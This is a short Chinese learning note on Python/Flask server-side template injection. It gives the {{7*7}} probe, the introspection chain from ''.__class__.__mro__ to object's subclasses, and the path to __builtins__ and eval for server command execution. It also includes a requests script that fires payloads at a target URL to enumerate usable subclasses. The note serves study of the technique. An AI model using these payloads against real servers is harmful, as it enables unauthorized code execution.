Python_ssti学习(一)
呜呜呜,俺是菜鸡,现在才开始学ssti
判断
{{7*7}}
函数解析
__class__ #返回调用的参数类型
__bases__ #返回类型列表
__mro__ #此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() #返回object的子类
__globals__ #函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
获取基本类
使用''.__class__.__mro__
或{}.__class__.__base__
([].__class__.__base__
、().__class__.__base__
)以及request.__class__.__mro__
,得到所有类
''.__class__.__mro__ #(<class 'str'>, <class 'object'>)
{}.__class__.__base__ #<class 'object'>
request.__class__.__mro__ #(<class 'flask.wrappers.Request'>, <class 'werkzeug.wrappers.request.Request'>, <class 'werkzeug.wrappers.base_request.BaseRequest'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'flask.wrappers.JSONMixin'>, <class 'object'>)
然后取基本类(object),也就是''.__class__.__mro__[1]
、{}.__class__.__base__[0]
和request.__class__.__mro__[9]
之后再获取基本类的子类,也就是''.__class__.__mro__[1].__subclasses__()
、{}.__class__.__base__[0].__subclasses__()
和request.__class__.__mro__[9].__subclasses__()
寻找没有重载的函数
对上面的子类分别.__subclasses__()
查看其子类,并查看各个的__init__
类,并寻找是否带warpper,带wrapper说明没有重载,需要寻找不带warpper的。找到后查看其引用__builtins__
,这个函数可以查看子类里面的所有内置函数,然后就可以调用危险的函数诸如eval或file等等函数来对服务器进行任务执行。这里手码了一个简单的脚本,可以稍微修改来寻找可用的子类:
import requests
from html.parser import HTMLParser
from tqdm import tqdm
url = 'url'
payload1 = '{{{}.__class__.__bases__[0].__subclasses__()}}'
re1 = requests.get(url+payload1)
l = HTMLParser().unescape(re1.text).split('>, <')
lenth = len(l)
res = {}
for i in tqdm(range(lenth)):
payload2 = '{{{}.__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__}}'
re2 = HTMLParser().unescape(requests.get(url+payload2).text)
# print(re2)
if 'wrapper' not in re2:
res.update({re2:i})
print(res)
呜呜呜如有错误,请大佬们提一下,此仅为个人笔记。